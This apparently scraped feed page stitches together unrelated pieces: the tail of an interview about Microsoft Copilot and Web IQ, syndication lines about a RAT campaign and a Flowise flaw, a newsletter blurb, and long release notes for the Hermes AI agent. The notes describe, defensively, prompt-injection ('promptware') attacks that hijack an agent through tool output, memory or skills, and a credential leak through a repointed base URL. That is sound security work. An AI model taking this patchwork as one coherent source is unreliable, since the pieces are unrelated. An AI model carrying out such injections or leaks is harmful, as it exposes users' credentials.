So I went into Copilot and said, “Answer Frankie’s question about how hosted agents scale, and reference the conversation I had with Jeff a couple of weeks ago on this same topic.” And it did it. It drafted the email.

Over time, I have taught Copilot my style. I don’t do the bold-print thing. I tell it: don’t use em dashes and that kind of stuff. I have a certain style in the way I write emails. It’s a little terse, to be perfectly honest, but I want it to be the way I write.

It drafted this thing. It searched through my Teams messages, my emails and the transcripts of my meetings with Jeff. It used Work IQ, as a matter of fact. It found the answer, drafted the email and provided a link to the documentation that specifically covered the question Frankie was asking.

I looked at the draft and thought, yep, that’s it.

Yes, I could have composed this email myself. I knew the answer to the question. I could have looked up the documentation. If I dug around, I’m sure I could have found the conversation I had with Jeff in whatever medium that was. I could have done that stuff. It probably would have taken me, I don’t know, an hour to find all the information and compose it.

Instead, I did it in about a minute. I had a draft, I looked at it, I was happy with it, I pressed send, and that was the end of that.

It really is about giving people time back. It is not even just grunt work. It is all this time you spend looking things up and finding things. Now, I can make it take an action. It didn’t just answer the question. It fully drafted the email and copied Jeff.

VB: Do you fear for your job? How has AI changed your own work?

MC: I don’t fear for my job. My job has changed. For one thing, I do a lot more now, both in my business life and personal life.

This weekend I was using Web IQ, the new Web IQ. I’ve been car shopping. My car’s lease is coming up, and there is a very specific car I’m trying to find, which is hard to find. It’s a Hyundai Ioniq 6, which Hyundai, for whatever reason, has stopped offering in the United States. I’m going to get one, though.

I set my agent to the task, using Web IQ, of finding all the Hyundai Ioniq 6s available in the entire Bay Area — everywhere, all the way out to Sacramento, all the way as far south as Gilroy. I set it to this task, and then I went on a hike.

When I got back, I had a big long list of all the Hyundai Ioniq 6s, at least the 2024 and 2025 models, available in the entire Bay Area. From that, I started calling down these dealers.

Even in my personal life, I’m using it constantly. It saves me a ton of time. That would have taken me hours, to go through every single dealer’s inventory like this. But Web IQ could do that, and it was super quick.

VB: Any final thought for developers around this news?

MC: Foundry is really the place. This is the place where you can build your agents, scale your agents, test your agents and improve your agents. That’s what it’s all about, and it’s happening.

The post 5 Best Personal CRM Tools for 2026 appeared first on TechRepublic.

The post New PHANTOMPULSE RAT Campaign Uses UAC Bypass in Windows Attacks appeared first on Cyber Security News.

Read more →

The post PHANTOMPULSE RAT Uses UAC Bypass to Hijack Windows Systems appeared first on IT Security News.

The post PHANTOMPULSE RAT Uses UAC Bypass to Hijack Windows Systems appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

Read more →

The post Critical Flowise Flaw Gives Attackers Full Server Control appeared first on IT Security News.

In this month's edition of the Monthly Log:

• What’s Old Is New: My Return to Bear, by Devon
• Not All Writing Is the Same: Rethinking How I Create and Organize Documents with Obsidian, Notion, and Antinote, by John

Release Date: May 28, 2026
Since v0.14.0: 1,302 commits · 747 merged PRs · 1,746 files changed · 282,712 insertions · 36,699 deletions · 560+ issues closed (15 P0, 65 P1, 19 security-tagged) · 321 community contributors (including co-authors)

The Velocity Release. Hermes gets dramatically faster — to start, to run, to ship work, and to grow. The 16,083-line run_agent.py collapses to 3,821 (-76%) across 14 cohesive agent/* modules. Kanban grew into a real multi-agent platform across 104 PRs — orchestrator auto-decomposition, swarm topology, scheduled tasks, worktree-per-task, per-task model overrides. The cold-start perf wave keeps going: another second shaved off launch, 47% fewer per-conversation function calls, hermes --version flipping the head-to-head benchmark against Codex CLI. session_search is 4,500× faster and free now. Promptware defense lands against Brainworm-class attacks. Bitwarden Secrets Manager replaces N per-provider API keys with one bootstrap token. Skill bundles let one slash command load a whole workflow. The Ink TUI gets a multi-session orchestrator. Two new image_gen providers (Krea 2 Medium + Large, FAL ported to plugin), the Nous-approved MCP catalog with an interactive picker, an OpenHands orchestration skill, ntfy as the 23rd messaging platform, and a deep xAI integration round (Web Search plugin, xai-oauth hermes proxy upstream, retired-May-15 model detection + hermes migrate xai, natural TTS speech-tag pauses, base_url leak guard, OpenAI-style execution guidance for Grok). 15 P0 + 65 P1 closures alongside.

✨ Highlights

• The Big Refactor — run_agent.py is no longer 16,000 lines — The file at the heart of Hermes — the agent conversation loop — has been reduced from 16,083 lines to 3,821 (-76%), with the extracted code redistributed across 14 cohesive modules under agent/. Behavior is unchanged: every extraction keeps a thin forwarder on AIAgent, every test patch path still works, every external caller is compatible. The reason you care: future Hermes development moves faster, plugin authors can finally grep the codebase, and the file that took 90 seconds to load in your editor opens in a blink. (#27248)

• Kanban grew into a real multi-agent platform — 104 PRs end to end — Triage auto-decomposes one task into a tree of sub-tasks. hermes kanban swarm creates a full Swarm v1 graph in one command — root, parallel workers, gated verifier, gated synthesizer, shared blackboard. Tasks support per-task model overrides (cheap models for boilerplate, expensive ones for hard sub-tasks), board-level default workdirs, per-task worktree paths and branches, scheduled start times, configurable claim TTL, retry fingerprinting, stale-task detection, respawn guards, and a drag-to-delete trash zone. Workers report through /workers/active, /runs/{id}, and /inspect endpoints. (#27572, #28443, #28364, #28394, #28462, #28384, #28467, #28455, #28452, #28432, #28468, #28420)

• Cold-start perf wave keeps going — another second saved, 47% fewer per-turn function calls — Three new optimization rounds: defer openai._base_client import (-240ms / -17MB on every CLI invocation), hot-path optimizations cut 47% of per-conversation function calls (399k → 213k for 31-turn chat), defer compression-feasibility check (-170 to -290ms on every agent construction), adaptive subprocess polling (-195ms per tool call, 1+ second per turn). Termux cold start drops from 2.9s to 0.8s. hermes --version cold drops 63% (701ms → 258ms), flipping the head-to-head benchmark against Codex CLI from 5/11 wins to 6/11. (#28864, #28866, #28957, #29006, #29419, #30121, #30609, #31968)

• session_search rebuilt — no LLM, no cost, 4,500× faster — The old session_search was an aux-LLM-powered tool that cost ~$0.30/call and took ~30 seconds to summarize three sessions, sometimes confabulating when the right session wasn't even in the FTS5 hit list. The new shape is one tool with three modes (discovery, scroll, browse) inferred from which args are set — no mode parameter, no aux-LLM, no config knob, no companion skill. Discovery is ~20ms instead of ~90s; scroll is ~1ms. Searching your past sessions for context is now free and instant. (#27590)

• Promptware defense — Brainworm-class attacks blocked at three chokepoints — Inspired by recent Brainworm / Promptware Kill Chain research (Origin HQ, arxiv 2601.09625), Hermes now defends the context window against prompt-injection attacks that try to hijack the agent via tool output, recalled memory, or stored skills. Single source of truth (tools/threat_patterns.py) with ~15 new Brainworm/C2 patterns; recalled memory is scanned at load time; tool results get delimiter markers so a malicious file or remote service can't impersonate Hermes' own system content. Paired with a new security-guidance plugin that pattern-matches dangerous code writes. (#32269, #33131, #9151)

• Bitwarden Secrets Manager — one bootstrap token replaces every per-provider API key — Stop keeping plaintext API keys in ~/.hermes/.env. Install Bitwarden Secrets Manager (bws auto-installs lazily on first use), point Hermes at it with one bootstrap token (BWS_ACCESS_TOKEN), and every credential you need comes from Bitwarden at startup. Rotate a key in the Bitwarden web app and the rotation actually takes effect — Bitwarden defaults to source-of-truth so its values overwrite matching env vars on startup. Flip secrets.bitwarden.override_existing: false to invert. EU Cloud and self-hosted Bitwarden server URLs supported. Detected credentials are now labeled with their source so you can see at a glance which keys came from Bitwarden vs. the local env. (#30035, #31378, #30364)

• ntfy as the 23rd messaging platform — push notifications without an account — ntfy is the self-hostable push-notification service with no signup, no API key, just a topic URL. Hermes now adapts to it as a platform plugin (zero edits to core), so your agent can send you push notifications from any cron job, kanban task completion, or chat send_message — to your phone, your watch, your desktop, your homelab. (salvages #30625 → originally #4043) (#30867)

• Skill bundles — /<name> loads multiple skills at once — A skill bundle is a named group of skills that loads them all together with one slash command. Set up your "writing day" bundle (humanizer + ideation + obsidian + youtube-content) and /writing-day activates all four for the session. Skills Hub now has health checks, a freshness badge, and a watchdog cron. Three new optional skills land: code-wiki (Karpathy's LLM-Wiki, persistent indexed dev wiki), openhands (delegate to OpenHands for parallel coding agents), and web-pentest (OWASP-style web pentest recipes). (#28373, #32345, #32240, #32261, #32265)

• TUI session orchestrator — multiple live sessions in one TUI window — The Ink TUI gained an active-session switcher overlay. List, switch between, refresh, and close multiple live process-local sessions without leaving the TUI; dispatch a new session with a session-scoped model picker. Plus a wave of TUI polish — mouse-tracking DEC mode presets, scrollback preservation across branches and termux, slash-dropdown fixes, x.com link rendering, and CJK / IME input rendering improvements. (salvages #27642) (#32980, #30084)

• Two new image_gen providers — Krea 2 Medium + Large, FAL ported to plugin — Krea joins the image_gen lineup as a built-in plugin: Krea 2 Medium ($0.03) and Krea 2 Large ($0.06), auto-discovered, selectable via hermes tools → Image Generation → Krea. Available through both the native Krea plugin and the FAL.ai catalog. The FAL.ai backend got pulled out of the monolithic image-generation tool into plugins/image_gen/fal/, completing the four-way architectural parity already established by web, browser, and video_gen — new image providers are now one file, not a fork. (#33236, #30380, #33506)

• Nous-approved MCP catalog with interactive picker — A curated catalog of Nous-vetted MCP servers, mirroring the optional-skills shape. Run hermes mcp and you get an interactive picker; install with one keystroke, credentials prompted at install time and written to ~/.hermes/.env. Ships with the n8n manifest first. Closes the discovery gap that left users hunting GitHub for trusted MCP servers. (#30870)

• OpenHands orchestration skill — A new optional skill under optional-skills/autonomous-ai-agents/openhands/ lets the agent delegate coding tasks to the OpenHands CLI alongside claude-code, codex, and opencode. OpenHands is the model-agnostic member of that family — any LiteLLM-supported provider works (OpenAI, Anthropic, OpenRouter, your own), so you can route a sub-task to the cheapest model that can finish it. Drop-in worker for kanban swarms and /delegate flows. (closes #477) (#32261)

• Deep xAI integration round — Web Search plugin, OAuth proxy upstream, May 15 retirement detection, natural TTS, security hardening — Six interlocking xAI improvements:

  • xAI Web Search lands as a plugins/web/xai/ provider, slots alongside Brave / Tavily / Exa / SearXNG / DDGS / Firecrawl — reuses your existing Grok OAuth or XAI_API_KEY credentials, no new env vars. (#29042)
  • hermes proxy gains an xAI upstream — your local OpenAI-compatible endpoint can now be backed by SuperGrok OAuth, no PKCE-refresh code to write in your client. (#28356)
  • May 15 model retirement detection — grok-4, grok-4-fast{,-reasoning,-non-reasoning}, grok-3, grok-code-fast-1, grok-imagine-image-pro etc. are detected in doctor and chat startup, with hermes migrate xai to one-shot config migration to the supported model. No more silent 404s after the retirement date. (#29277)
  • Opt-in auto_speech_tags for xAI TTS — inserts light [pause] tags between paragraphs and sentences for more natural-sounding voice replies. Default OFF. (#29376)
  • xai-oauth base_url pinned to x.ai origin — closes a silent credential-leak vector where XAI_BASE_URL could repoint OAuth-authenticated inference to an attacker-controlled host. (#28952)
  • OpenAI-style execution guidance applied to Grok models — Grok and xai-oauth now get the same family-specific execution discipline block GPT/Codex have, so the model stops claiming completion without tool calls and stops suggesting workarounds instead of using existing tools. (#27797)
  • Plus x_search degraded-results surfacing, tier-gated 403 with API-key fallback, PKCE code_challenge round-trip fix, dead-token quarantine on terminal refresh failure, MiniMax-style short-token refresh on per-request, and WKE=unauthenticated honor at both classifier sites. (#29484, #28351, #27560, #28116, #30619, #30872)

🏗️ Core Agent & Architecture

The Big Refactor — run_agent.py 16k → 3.8k

• run_agent.py from 16,083 → 3,821 lines (-76%), extracted into 14 cohesive agent/* modules. run_conversation alone was 3,877 lines before the refactor. Every extraction keeps a thin forwarder on AIAgent, every test-patch path is preserved, every external caller stays compatible. (#27248)

Agent loop & conversation

• Auxiliary task layered fallback (primary → chain → main agent → graceful fail) on capacity errors (402/429/connection). (salvages #26811 + #26998) (#27625)
• Buffer retry/fallback status; surface only on terminal failure (no more noisy "retrying..." spam in mid-run output). (#33816)
• Host contract for external context engines — condenses 5 prior PRs into one extension surface. (#33750)
• Fallback immediately on provider content-policy blocks. (#33883)
• Re-pad reasoning_content on cross-provider fallback to require-side providers. (salvage #33784) (#33795)
• Per-turn tool-outcome verifier — patch tool gets indent preservation, CRLF preservation, per-file failure escalation. (#32273)
• Single-knob native vision for custom-provider models. (#29679)
• Background review fork isolated from external memory plugins. (#27190)
• Background review inherits parent toolset config for tools[] cache parity. (#29704)
• Recover from providers returning list-type tool content. (#30259)
• Treat partial-stream stub responses as length truncation rather than clean stop. (#30998)
• OpenAI execution guidance applied to xAI Grok / xai-oauth. (#27797)
• ContextVars propagate to concurrent tool worker threads.
• Preload jiter native parser. (#33692)
• Expose context engine tools with saved toolsets. (salvage of #31194) (#33719)

Sessions & memory

• session_search rebuilt — single-shape (discovery + scroll + browse), no aux-LLM, ~20ms vs. ~90s. (#27590)
• Salvage #29182 — opt-in JSON snapshot writer for sessions. (#29278)
• Persist platform_message_id for recall across gateway restarts. (#29449)
• Inline memory-context mentions stay visible in conversation. (#28132)
• Recalled memory labeled informational, not authoritative. (#28583)
• Memory + context-engine tool injection gated on enabled_toolsets. (#30177)
• Guard against external drift in MEMORY.md / USER.md. (#30877)
• Honcho runtime peer mapping — correctness follow-ups + setup wizard + docs. (#30077)
• Periodic memory logging for leak detection. (salvage of #17667) (#27102)

Codex / Responses-API maturation

• TTFB watchdog for stalled Codex Responses streams. (#32042)
• Actionable hint when stale-call detector fires on known silent-reject pattern. (#32016, #33133)
• Drop SDK responses.stream() helper; consume events directly. (#33042)
• Gracefully recover from invalid_encrypted_content. (salvage of #10144) (#33035)
• Recover Codex Responses streams with null output. (#32963, #33390)
• Drop foreign-issuer reasoning and transient rs_tmp reasoning replay state. (#33156, #33146)
• Codex 429 quota classified as rate-limit, not missing credentials. (#33168)
• Codex chat path falls back to credential_pool when singleton is empty. (#33189)
• Codex re-auth syncs credential_pool. (#33164)
• Omit tools key when no tools registered. (#33409)
• Parse Codex image-generation SSE directly. (#32933)

🎛️ Kanban — Multi-Agent Maturation Wave

Orchestration & dispatch

• Orchestrator-driven auto-decomposition on triage. (#27572)
• Kanban swarm topology helper — hermes kanban swarm creates a Swarm v1 graph (root + parallel workers + gated verifier + gated synthesizer + shared blackboard). (salvages #26791 by @Niraven) (#28443)
• Dispatcher wires review agents from the review column. (#28449)
• Stale-detection for running tasks in dispatcher. (#28452)
• Respawn guard blocks repeat worker storms. (#28455)
• Respawn guard defers blocker_auth instead of auto-blocking. (#28683)
• Cross-profile cron jobs surface in dashboard. (#28457)
• Worker visibility endpoints: /workers/active, /runs/{id}, /inspect. (salvages #23761 by @Interstellar-code) (#28432)

Task configuration & scheduling

• Per-task model override. (#28364)
• Board-level default workdir. (#28394)
• Configurable worktree paths and branches. (#28462)
• Scheduled task start times. (#28384)
• Scheduled status for delayed follow-ups. (#28467)
• Trimmed task comments. (#28399)
• Initial-status for human-ops cards. (#28414)
• max_in_progress config to cap concurrent running tasks. (#28420)
• Filter tasks by workflow fields. (#28454)
• --sort for hermes kanban list. (#28427)
• Optional board parameter on all MCP tools. (#28444)
• Stamp originating ACP session_id on tasks. (#28447)
• auto_promote_children config toggle. (#28344)
• archive --rm to hard-delete archived tasks. (#28355)
• Promote dependents when parent is archived. (#28372)
• Promote blocked tasks when parent dependencies complete. (#28377)
• Demote ready children when parent is reopened. (#28382)
• promote verb for manual todo→ready recovery + bulk --ids. (salvage #29464) (#31334)

Dashboard

• Drag-to-delete trash zone + bulk delete. (#28468)
• Surface per-task model_override in show + tool output. (#28442)
• Cross-profile notification delivery via kanban.notification_sources. (#28395)
• Scratch-workspace deletion warning for users. (#30949)
• Mobile dashboard UX polish. (#28127)

Reliability

• Worker log retention configurable. (#27867)
• Configurable claim TTL. (#28392)
• Fingerprint crash errors to prevent fleet-wide retry exhaustion. (#28380)
• Reset failure counters on unblock_task. (#28379)
• Detect cycles in decompose_triage_task sibling-link pre-validation. (#28088)
• Surface unusable triage auxiliary model (auto-decompose aware). (#27871)
• Align failure diagnostics with retry limit. (#27868)
• Align worker terminal timeout with task runtime. (#27864)
• Auto-install bundled skills (kanban-worker) on init. (#28368)
• Make legacy task migration idempotent. (#28397)
• Serialize DB initialization. (#28383)
• Persist worker session metadata on completion. (#28387)
• Pass accept-hooks to worker chat subprocess. (#28393)
• Preserve worker tools with restricted toolsets. (#28396)
• Avoid unsafe Windows worker Hermes shim resolution. (#28398)
• Sync slash subcommands with live parser. (#28376)
• Show scheduled kanban tasks in dashboard. (#28400)
• Assign single-task kanban decompositions. (#28401)
• Configurable max_tokens for kanban specify. (#28374)
• Per-job profile support for cron. (#28124)
• Codex app-server: include every Kanban-pinned path in writable_roots. (#28435)
• Cache kanban worker guidance at session init for prompt-cache reuse. (#28425)

⚡ Performance

• openai._base_client import deferred — 240ms / 17MB off every CLI cold start. (#28864)
• Agent-loop hot-path optimizations — 47% fewer per-conversation function calls (399k → 213k for 31-turn chat). (#28866)
• Compression-feasibility check deferred — 170-290ms off every agent construction. (#28957)
• Adaptive subprocess poll — ~195ms off every tool call, 1+ second per turn. (#29006)
• Termux TUI cold start speedup. (#29419)
• Termux non-TUI cold start speedup. (salvage #29438) (#30121)
• Termux fast-path version + deferred bare-prompt agent startup. (#30609)
• Cut hermes --version wall time 63% — flips head-to-head vs Codex CLI. (#31968)
• Date-only timestamp + loud gateway-DB roundtrip logging — improves prompt-cache hit rate. (#27675)
• Cache kanban worker guidance at session init for prompt-cache reuse. (#28425)

🔧 Tool System

Tool surface

• patch: indent preservation, CRLF preservation, per-file failure escalation. (#32273)
• terminal: warn at call time when background=true runs silently. (#31289)
• terminal: nudge homebrewed CI pollers at the tool surface. (#33142)
• x_search: surface degraded results + validate dates. (#29484)
• x_search: auto-enable toolset when xAI credentials are configured. (#27376)
• computer_use: route SOM/vision captures via auxiliary.vision. (#30126)
• transcription: reject symlinked audio inputs. (#10082)
• TTS: prevent double [pause] in xAI auto speech tags. (#32237)
• TTS: preserve native audio outside Telegram voice delivery. (#28512)
• TTS: opt-in xAI auto_speech_tags speech-tag pauses for natural voice replies. (#29376)
• Voice: chunk oversized CLI recordings. (#30044)
• Voice: honor PULSE_SERVER / PIPEWIRE_REMOTE inside Docker. (#22534)

Browser

• All cloud browser providers (Browserbase, Anchor, Camofox, Hyperbrowser, etc.) migrated to image_gen-style plugins. (salvages #25580) (#27403)
• Auto-launch Chromium-family browser for CDP. (#29106)
• Docker: discover agent-browser Chromium binary at boot. (#33184)

Image generation

• Krea provider plugin (Krea 2 Medium + Large). (#33236)
• FAL backend ported to plugins/image_gen/fal. (salvage #27966) (#30380)
• Cache xAI ephemeral URL responses to disk. (#31759)

Web search

• xAI Web Search as a provider plugin. (#29042)

MCP

• Nous-approved MCP catalog with interactive picker. (#30870)
• TLS client certificate (mTLS) support for HTTP and SSE MCP servers. (#33721)
• Stdin paste-back fallback for headless OAuth flow. (#32053)
• skip at paste prompt bypasses auth without disabling server. (#32069)
• Registry-aware mcp_ prefix on both ends of round-trip. (#31700)

🧩 Skills Ecosystem

Skills system

• Skill bundles — /<name> loads multiple skills. (#28373)
• Skills Hub: health checks, freshness badge, and a watchdog cron. (#32345)
• Opt-in AST deep diagnostics on skill writes. (salvage of #30918) (#31198)
• Bundled/pinned skill protection in background-review prompts. (#28338)
• Show user-modified skill names in bundled skill sync summary. (#28671)
• Load symlinked skill slash commands. (#27759)
• Deduplicate Skills Hub search results by identifier, not name. (#29490)

New skills

• openhands — delegate-to-OpenHands orchestration skill (closes #477) (#32261)
• code-wiki — persistent indexed dev wiki (closes #486) (#32240)
• web-pentest — OWASP recipes (closes #400) (#32265)
• baoyu-article-illustrator (#28287)

☁️ Providers

xAI deep integration

• xAI Web Search as a plugins/web/xai/ provider plugin. (#29042)
• hermes proxy xAI upstream — OpenAI-compatible local proxy backed by xai-oauth. (#28356)
• May 15 model retirement detection + hermes migrate xai for grok-4 / grok-3 / grok-code-fast-1 / grok-imagine-image-pro. (#29277)
• Opt-in auto_speech_tags for natural xAI TTS voice replies. (#29376)
• xai-oauth base_url pinned to x.ai origin — closes silent credential-leak vector. (#28952)
• OpenAI-style execution guidance applied to Grok / xai-oauth models. (#27797)
• xAI: detect retired May 15 models in doctor/chat startup. (#29277)
• xAI: resolve Grok Build context for OAuth. (#30579)
• xAI OAuth: tier-gated 403 with API-key fallback. (#28351)
• xAI OAuth: PKCE code_challenge echo. (#27560)
• xAI OAuth: quarantine dead tokens on terminal refresh failure. (#28116)
• xAI OAuth: honor WKE=unauthenticated disambiguator at both classifier sites. (#30872)
• xAI OAuth: accept bare-code manual paste (state=None). (closes #26923) (#33880)
• xAI OAuth: fall back to manual paste on loopback timeout. (#33231)
• xAI proxy: handle 429 rate-limit responses in proxy retry path. (#33743)

Other providers

• OpenAI API as a first-class provider (distinct from Codex runtime). (#31898)
• Microsoft Entra ID auth for Azure Foundry (with 1M Anthropic-Messages beta preserved on Bearer). (salvages #27509, #27022) (#28101, #28084)
• OpenRouter sticky routing — session_id passed via extra_body so a long-running session keeps landing on the same upstream provider. (@Cybourgeoisie) (#33939)
• Nous: JWT token for inference; stop replaying invalid Nous refresh tokens. (@rewbs) (#27663)
• Nous Portal: one-shot setup, status CLI, and Nous-included markers. (#30860)
• Anthropic adapter: extract 7 helpers from convert_messages_to_anthropic. (salvage #27784) (#30386)
• Catalog: add qwen3.7-max to Alibaba + Alibaba-Coding-Plan model lists. (#33129)
• opencode-go: route qwen3.7-max via anthropic_messages. (@beardthelion) (#32780)
• opencode-go: expose Kimi K2 + DeepSeek reasoning controls. (#30845)
• Remove Vercel AI Gateway and Vercel Sandbox.
• MiniMax OAuth: refresh short-lived access tokens per request. (#30619)
• Codex OAuth: quarantine terminal refresh errors. (#28118)
• Codex: drop dead model slugs that HTTP 400 on ChatGPT Pro. (#33424)
• Codex: sync manual:device_code pool entries on re-auth. (#33744)
• MiniMax OAuth: quarantine terminal refresh errors. (#28119)

🔑 Secrets

• Bitwarden Secrets Manager integration with lazy bws install. (#30035)
• Bitwarden: EU Cloud + self-hosted server URL support. (#31378)
• Label detected credentials with their source (Bitwarden). (#30364)

📱 Messaging Platforms (Gateway)

Gateway core

• Deliverable mode — agents ship artifacts as native uploads from any platform (Slack/Discord/Telegram/Teams/Email). (#27813)
• hermes send — pipe any script's output to any messaging platform. (salvage of #19631) (#27188)
• Debounce queued text follow-ups during active sessions. (salvage of #31235) (#31341)
• Plugin-transformed final_response delivered through streaming gate. (#31433)
• Refresh cached agent tools on /reload-mcp. (#32815)
• Harden kanban + provider cleanup races on long-running workloads. (#29479)

New / reorganized adapters

• ntfy — 23rd platform, push notifications, plugin shape, zero core edits. (salvages #30625 → #4043) (#30867)
• Discord adapter migrated to bundled plugin. (salvage of #24356) (#30591)
• Mattermost adapter migrated to bundled plugin. (salvage of #30916) (#31748)

Telegram

• Edit status messages in place instead of appending. (based on #30141 by @qike-ms) (#30864)
• Skip-STT audio path + 2GB cap via local Bot API server. (#28541)
• Route image documents (.png/.jpg/.webp/.gif) through vision pipeline. (#28519)
• Route audio file attachments away from STT pipeline. (#28478)
• disable_topic_auto_rename gateway flag. (#28523)
• ignore_root_dm config to drop messages without thread_id. (#28536)
• Chat-scoped auth without sender user_id. (#28525)
• Fail-closed auth fallback when TELEGRAM_ALLOWED_USERS is empty. (#28494)
• Roll over tool progress bubbles + scope audio_file_paths. (#28482)
• Avoid duplicate text after auto-TTS voice replies. (#28509)
• Mark final voice reply notify-worthy so Telegram delivers it audibly. (#28504)

Discord

• Recover Windows voice opus decoding. (#33182)
• allow_any_attachment config to accept arbitrary file types. (#27245)
• Transcribe native voice notes. (#28993)
• Define UI view classes after lazy install. (#28817)

Signal / Matrix / Feishu / Slack / WeCom

• Signal: require_mention filter for group chats. (#28574)
• Matrix: warn on clock-skew silent message drops. (#27330)
• Matrix E2EE installs full dep set; plugins respect is_connected. (#31688)
• Feishu: require webhook auth secret + honor config extras. (#30746)
• Feishu: enforce auth and chat binding for approval buttons. (#30744)
• Slack: socket recovery + Windows restart dedupe. (#28873)
• WeCom: safe-parse untrusted XML. (#32442)

DingTalk / Webhooks / Microsoft Graph

• DingTalk: transcribe native voice notes. (#28993)
• Webhook: enforce INSECURE_NO_AUTH safety rail on dynamic route reloads. (#30863)
• Webhook: restrict default toolset capabilities. (#30745)
• Microsoft Graph: harden webhook auth requirements. (#30169)

🖥️ CLI & TUI

CLI

• /update slash command in CLI and TUI. (#23854)
• Update auto-rollback when post-pull syntax check fails. (#28669)
• --branch flag for hermes update. (@jquesnelle) (#29591)
• /exit --delete flag to remove session on quit. (salvage of #17665) (#27101)
• ▶ N indicator in status bar for running /background tasks. (#27175)
• Live background terminal-process count in status bar. (#32061)
• Append session recap to /status output. (salvage of #18587) (#27176)
• Configurable paste-collapse thresholds (TUI + CLI). (salvage #29723) (#32087)
• /resume accepts position numbers. (#31709)
• Bring tool-call display back — verbose mode, specific failure reasons, todo progress. (#31293)
• Validate runtime token refresh in Qwen auth status. (#31196)

TUI

• TUI session orchestrator — multiple live sessions in one TUI window. (salvages #27642) (#32980)
• mouse_tracking DEC mode presets. (salvage of #26681 by @OutThisLife) (#30084)
• Termux scrollback preservation + touch-friendly defaults. (#28910)
• Full assistant text in scrollback (no history truncation). (#28829)
• Preserve scrollback when branching sessions. (#30162)
• Preserve Python dunder identifiers in markdown. (#28582)
• Active profile shown in TUI prompt. (#28581)
• Improve Charizard completion menu contrast. (#28346)
• Stop slash dropdown chopping last char of /goal. (#31311)
• Clipboard copy on linux/wayland. (#29342)
• Anchor splitReasoning unclosed-tag regex; stop eating last paragraph. (#29426)
• Surface verbose tool details. (#30225)
• Load Linux skills on Termux + salvage @adybag14-cyber's Termux gates. (#30166)
• Handle images with codex app-server. (#31220)
• Refresh virtual transcript on viewport resize. (#31077)
• Ignore late thinking deltas after completion. (#31055)
• Commit composer input bursts immediately. (#31053)
• Log parent gateway lifecycle exits. (#31051)
• Clear TTS env var on voice off + TTS indicator in status bar. (#30987)
• Pass --expose-gc as node argv instead of NODE_OPTIONS. (#29998)
• Align composer cursorLayout with wrap-ansi to kill multiline cursor drift. (#27489)
• Harden Terminal.app rendering and color paths. (#27251)
• Keep /goal verdict out of compact status row. (#27971)
• Clamp curses color 8 for 8-color terminals (Docker). (#30260)

🔒 Security & Reliability

Promptware & memory hardening

• Promptware defense — shared threat patterns + memory load-time scan + tool-result delimiters. (#32269)
• Expand memory content scanning patterns to parity with skills guard. (#9151)
• Harden Skills Guard multi-word prompt patterns. (@YLChen-007) (#26852)
• Split cron scanner so skill prose stops false-positiving exfil patterns. (#32339)

File safety

• Protect Hermes control-plane files from prompt injection (auth.json, config.yaml, webhook_subscriptions.json, mcp-tokens/). (salvages @PratikRai0101's #14157) (#30397)
• Write-deny <root>/.env when running under a profile. (#29687)
• Defense-in-depth read-deny on credential stores. (salvages #17659 + #8055) (#30721)
• TTS output_path traversal + update ZIP symlink reject. (salvage #6693 + #15881) (#32056)
• Reject symlinked audio inputs. (#10082)

Credential safety

• Avoid persisting borrowed credential secrets — runtime env-sourced keys no longer leak into auth.json. (#31416)
• Validate Nous Portal inference_base_url against host allowlist. (salvages #27612) (#30611)
• Harden API server key placeholder handling. (#30738)
• Harden Google Chat OAuth credential persistence. (@Zyrixtrex) (#24788)
• xAI OAuth: pin inference base_url to x.ai origin. (#28952)
• Quarantine dead OAuth tokens on terminal refresh failure (xAI, Codex, MiniMax). (#28116, #28118, #28119)

Supply-chain

• On-demand supply-chain audit via OSV.dev — hermes audit. (#31460)
• hermes update syntax-validates critical files post-pull, auto-rollback on failure. (#28669)
• Quarantine hermes.exe vs concurrent Windows instance. (#26677)

Other hardening

• Restrict default webhook toolset capabilities. (#30745)
• Harden Microsoft Graph webhook auth requirements. (#30169)
• Require source CIDR allowlisting for public msgraph webhook binds. (#33722)
• Require API_SERVER_KEY before dispatching API server work. (#33232)
• env_passthrough: apply GHSA-rhgp-j443-p4rf filter to config.yaml path. (@roadhero) (#27794)
• Dashboard + WeCom: restrict markdown link schemes; safe-parse untrusted XML. (#32442)
• Salvage project-plugin RCE bypass fix from PR #29311 (GHSA-5qr3-c538-wm9j). (#30837)
• Cross-profile soft guard on file-write tools + system-prompt hint. (#31290)
• Reject unsafe tar members in Android psutil compatibility installer. (#33742)
• Reject non-regular tar members during tirith auto-install. (#33786)

🪟 Native Windows (Beta Continued)

• Thin desktop installer + first-launch install.ps1 bootstrap. (#27822)
• Complete Windows bootstrap — dep_ensure + install.ps1 + detection. (@alt-glitch) (#27845)
• install.ps1: strip BOM, -Commit/-Tag pin params, harden git ops. (@jquesnelle) (#28169)
• Consolidate ACP browser bootstrap into install.{sh,ps1}. (@alt-glitch) (#27851)
• hermes update quarantines live hermes.exe. (#26677)
• Discord voice opus decoding on Windows. (#33182)
• Windows Docker Desktop compatible compose file. (@Sunil123135) (#31031)

🖼️ Hermes Desktop GUI

• hermes gui launcher — install + build + launch packaged Electron app. (@OutThisLife) (#30165)
• Desktop UI lift. (#27227)
• nix package .#desktop. (@ethernet8023) (#28964)
• Hardened Slack socket recovery + Windows desktop restart dedupe. (#28873)
• Web dashboard: migrate checkboxes to @nous-research/ui + design-system polish. (@austinpickett) (#28814)
• Web dashboard: collapsible sidebar. (@austinpickett) (#33421)
• Dashboard typography & contrast pass. (salvage of #28832) (#30714)
• Skills page: lazy-fetch catalog instead of bundling 34MB into JS. (#33809)

🐳 Docker

• s6-overlay container supervision — abstract ServiceManager protocol (systemd/launchd/Windows/s6 backends), per-profile gateway supervision in-container, container-restart reconciliation, hadolint/shellcheck CI. (salvage of #30136, @benbarclay) (#31760)
• Auto-redirect gateway run to supervised mode inside the s6 image. (@benbarclay) (#33583)
• Tee supervised gateway stdout to docker logs. (@benbarclay) (#33621)
• Drop docker exec to hermes uid before invoking the CLI. (@benbarclay) (#33628)
• Align HOME for dashboard and s6 gateway services. (@Dusk1e) (#33481)
• Bake build-time git SHA into image so hermes dump reports it. (@benbarclay) (#33655)
• hermes update prints docker pull guidance instead of bogus git error. (@benbarclay) (#33659)
• Upgrade Node to 22 LTS via multi-stage from node:22-bookworm-slim. (@benbarclay) (#33060)
• Drop build-essential from apt install. (@benbarclay) (#33028)
• Propagate env through s6 to cont-init and main CMD. (#32412)
• Targeted chown to preserve host file ownership in HERMES_HOME. (#33033)
• mkdir HERMES_HOME as root in stage2 before chown / privilege drop. (#33078)
